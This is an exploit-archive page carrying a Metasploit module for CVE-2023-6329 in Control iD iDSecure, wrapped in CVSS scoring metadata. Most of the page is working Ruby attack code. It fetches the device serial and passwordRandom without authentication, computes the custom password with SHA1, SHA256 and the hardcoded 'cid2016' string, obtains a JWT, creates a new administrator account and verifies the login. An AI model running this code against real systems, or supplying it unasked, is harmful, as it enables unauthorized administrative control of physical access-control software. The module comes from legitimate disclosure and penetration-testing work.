Lucene search

K
packetstormMichael Heinzl, Tenable, metasploit.comPACKETSTORM:180858
HistoryAug 31, 2024 - 12:00 a.m.

Control ID IDSecure Authentication Bypass

2024-08-3100:00:00
Michael Heinzl, Tenable, metasploit.com
packetstormsecurity.com
18
control id idsecure
authentication bypass
cve-2023-6329
unauthenticated
remote attacker
administrative user
web interface
access control vulnerability
30443
ssl

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

EPSS

0.613

Percentile

97.9%

`class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
CheckCode = Exploit::CheckCode  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',  
'Description' => %q{  
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an  
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.  
},  
'Author' => [  
'Michael Heinzl', # MSF Module  
'Tenable' # Discovery and PoC  
],  
'References' => [  
['CVE', '2023-6329'],  
['URL', 'https://www.tenable.com/security/research/tra-2023-36']  
],  
'DisclosureDate' => '2023-11-27',  
'DefaultOptions' => {  
'RPORT' => 30443,  
'SSL' => 'True'  
},  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
)  
)  
  
register_options([  
OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),  
OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])  
])  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/util/configUI')  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
return CheckCode::Unknown  
end  
  
return CheckCode::Unknown unless res&.code == 401  
  
data = res.get_json_document  
version = data['Version']  
return CheckCode::Unknown if version.nil?  
  
print_status('Got version: ' + version)  
return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')  
  
return CheckCode::Appears  
end  
  
def run  
# 1) Obtain the serial and passwordRandom  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
unless json.key?('passwordRandom') && json.key?('serial')  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')  
end  
  
password_random = json['passwordRandom']  
serial = json['serial']  
print_good('Retrieved passwordRandom: ' + password_random)  
print_good('Retrieved serial: ' + serial)  
  
# 2) Create passwordCustom  
sha1_hash = Digest::SHA1.hexdigest(serial)  
combined_string = sha1_hash + password_random + 'cid2016'  
sha256_hash = Digest::SHA256.hexdigest(combined_string)  
short_hash = sha256_hash[0, 6]  
password_custom = short_hash.to_i(16).to_s  
print_status("Created passwordCustom: #{password_custom}")  
  
# 3) Login with passwordCustom and passwordRandom to obtain a JWT  
body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, 'api/login/'),  
'data' => body  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
unless json.key?('accessToken')  
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')  
end  
  
access_token = json['accessToken']  
print_good('Retrieved JWT: ' + access_token)  
  
# 4) Add a new administrative user  
body = {  
idType: '1',  
name: datastore['NEW_USER'],  
user: datastore['NEW_USER'],  
newPassword: datastore['NEW_PASSWORD'],  
password_confirmation: datastore['NEW_PASSWORD']  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'application/json',  
'headers' => {  
'Authorization' => "Bearer #{access_token}"  
},  
'uri' => normalize_uri(target_uri.path, 'api/operator/'),  
'data' => body  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'  
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)  
end  
  
# 5) Confirm credentials work  
body = {  
username: datastore['NEW_USER'],  
password: datastore['NEW_PASSWORD'],  
passwordCustom: nil  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, 'api/login/'),  
'data' => body  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
unless json.key?('accessToken') && json.key?('unlock')  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)  
end  
  
store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)  
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")  
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")  
end  
end  
`

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

EPSS

0.613

Percentile

97.9%

Related for PACKETSTORM:180858